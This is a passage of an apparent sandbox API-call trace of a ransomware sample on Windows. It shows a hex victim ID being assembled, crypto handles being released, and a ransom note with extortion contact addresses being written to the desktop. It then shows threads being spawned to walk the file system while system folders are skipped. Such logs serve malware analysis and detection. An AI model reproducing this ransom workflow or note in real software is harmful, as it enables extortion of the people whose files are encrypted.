	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840f", lpString2="ee" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee", lpString2="8b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b", lpString2="8b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8b"
	[0061.658] GetLastError () returned 0x0
	[0061.658] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8b", lpString2="bf" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbf") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbf"
	[0061.658] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbf", lpString2="e9" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe9") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe9"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe9", lpString2="96" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe996") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe996"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe996", lpString2="64" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664", lpString2="f3" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3", lpString2="be" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3be") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3be"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3be", lpString2="c5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5"
	[0061.659] GetLastError () returned 0x0
	[0061.659] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5", lpString2="88" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec588") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec588"
	[0061.659] CryptDestroyKey (hKey=0x3661c0) returned 1
	[0061.659] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0061.659] GetProcessHeap () returned 0x300000
	[0061.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x368100
	[0061.673] lstrcpyW (in: lpString1=0x368100, lpString2="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: {KEY11111}" | out: lpString1="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: {KEY11111}") returned="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: {KEY11111}"
	[0061.673] StrStrW (lpFirst="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: {KEY11111}", lpSrch="{KEY11111}") returned="{KEY11111}"
	[0061.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x363d38
	[0061.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Read~ME.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8
	[0061.679] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.679] WriteFile (in: hFile=0xe8, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x18dec8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x18dec8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.681] CloseHandle (hObject=0xe8) returned 1
	[0061.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x365f28
	[0061.689] GetNativeSystemInfo (in: lpSystemInfo=0x18de34 | out: lpSystemInfo=0x18de34*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) 
	[0061.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c6c0
	[0061.689] RtlInitializeConditionVariable () returned 0x365f48
	[0061.689] RtlInitializeConditionVariable () returned 0x365f70
	[0061.689] RtlInitializeConditionVariable () returned 0x365f9c
	[0061.689] RtlInitializeConditionVariable () returned 0x365fcc
	[0061.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x360e18
	[0061.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x3621e0
	[0061.689] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x405f08, phModule=0x3621ec | out: phModule=0x3621ec*=0x400000) returned 1
	[0061.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42c37e, lpParameter=0x3621e0, dwCreationFlags=0x0, lpThreadId=0x18ddf8 | out: lpThreadId=0x18ddf8*=0xaf0) returned 0xe8
	[0061.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x3638d8
	[0061.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3638e8
	[0061.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x362240
	[0061.690] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x405f08, phModule=0x36224c | out: phModule=0x36224c*=0x400000) returned 1
	[0061.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42c37e, lpParameter=0x362240, dwCreationFlags=0x0, lpThreadId=0x18ddf8 | out: lpThreadId=0x18ddf8*=0x3a4) returned 0xfc
	[0061.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3610d0
	[0061.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3638d8 | out: hHeap=0x300000) returned 1
	[0061.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x3638d8
	[0061.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x362280
	[0061.692] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x405f08, phModule=0x36228c | out: phModule=0x36228c*=0x400000) returned 1
	[0061.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42c37e, lpParameter=0x362280, dwCreationFlags=0x0, lpThreadId=0x18ddf8 | out: lpThreadId=0x18ddf8*=0x9f4) returned 0xf4
	[0061.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x3622c0
	[0061.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3610d0 | out: hHeap=0x300000) returned 1
	[0061.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x4) returned 0x363a10
	[0061.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x3622e0
	[0061.693] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x405f08, phModule=0x3622ec | out: phModule=0x3622ec*=0x400000) returned 1
	[0061.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42c37e, lpParameter=0x3622e0, dwCreationFlags=0x0, lpThreadId=0x18ddf8 | out: lpThreadId=0x18ddf8*=0x9cc) returned 0xf8
	[0061.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362cc0
	[0061.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3622c0 | out: hHeap=0x300000) returned 1
	[0061.695] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft SQL Server") returned 43
	[0061.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x366550
	[0061.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files (x86)\\Microsoft SQL Server", lpSrch="AppData") returned 0x0
	[0061.695] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.695] lstrcmpiW (lpString1="C:\\Program Files (x86)\\Microsoft SQL Server", lpString2="C:\\Windows") returned -1
	[0061.695] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.695] lstrcmpiW (lpString1="C:\\Program Files (x86)\\Microsoft SQL Server", lpString2="C:\\System Volume Information") returned -1
	[0061.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x368908
